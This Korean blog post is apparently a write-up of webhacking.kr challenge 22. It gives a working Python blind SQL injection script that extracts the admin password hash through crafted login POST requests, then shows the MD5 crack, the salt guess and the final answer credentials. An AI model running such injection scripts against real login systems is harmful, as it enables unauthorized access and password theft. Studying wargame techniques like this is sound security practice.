728x90
반응형

500점인 22번 문제를 풀어보자.

admin 계정으로 로그인을 하라고 문제에서 힌트를 주고 있다.

join 페이지로 이동해서 admin 계정은 이미 존재하는 계정으로 나오고, 테스트를 위한 임의의 계정을 생성한다.

- 참인 경우

- 거짓인 경우

이제 참/거짓 반응을 이용해서 Blind SQL Injection을 시도하자.

Request는 POST 방식으로 보내게 된다.

import requests

url = "https://webhacking.kr/challenge/bonus-2/index.php"
cookies = {'PHPSESSID':'세션'}
pw_length = ""
pw = ""

# 패스워드 길이 구하기
for i in range(0,100):
        data = {"uuid":"admin' and length(pw)={}#".format(i), "pw":"a"}
        r = requests.post(url, cookies=cookies, data=data)
        # print(r.text)   
        if r.text.find("Wrong password!") != -1:
            pw_length = i
            print(pw_length)
            break
                
print("pw_length :", pw_length)

# 패스워드 값 구하기
for i in range(1,pw_length+1):
    for j in range(33, 133):
        data = {"uuid":"admin' and ascii(substr(pw,{},1))={}#".format(i,j), "pw":"a"}
        r = requests.post(url, cookies=cookies, data=data)
        if r.text.find("Wrong password!") != -1:
            pw += chr(j)
            print(i, "pw is ", pw)
            break

print("pw is :", pw)

pw 길이 : 32

pw : 6c9ca386a903921d7fa230ffa0ffc153

 

해당 패스워드는 md5 해쉬값으로 확인했다.

https://www.md5online.org/md5-decrypt.html

 

MD5 Online | Free MD5 Decryption, MD5 Hash Decoder

MD5 Decryption How it works? MD5 is a 128-bit encryption algorithm, which generates a hexadecimal hash of 32 characters, regardless of the input word size. This algorithm is not reversible, it's normally impossible to find the original word from the MD5. O

www.md5online.org

해당 페이지에서 해쉬값을 입력하면 디코딩된 값을 볼 수 있다.

이제 admin/wowapple로 로그인 시도하면 문제가 풀리는 줄 알았지만, 로그인 fail 뜨게 된다.

찾아보니, salt 값으로 apple이 사용되는 걸로 추측된다.

 

다시 admin/wow로 로그인해보면 문제가 정상적으로 풀리는 것을 볼 수 있다.

 

728x90
반응형

'CTF & WarGame > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] 24번 문제  (0) 2020.03.09
[webhacking.kr] 23번 문제  (0) 2020.03.09
[webhacking.kr] 21번 문제  (1) 2020.03.08
[webhacking.kr] 20번 문제  (0) 2020.03.07
[webhacking.kr] 19번 문제  (0) 2020.03.07

+ Recent posts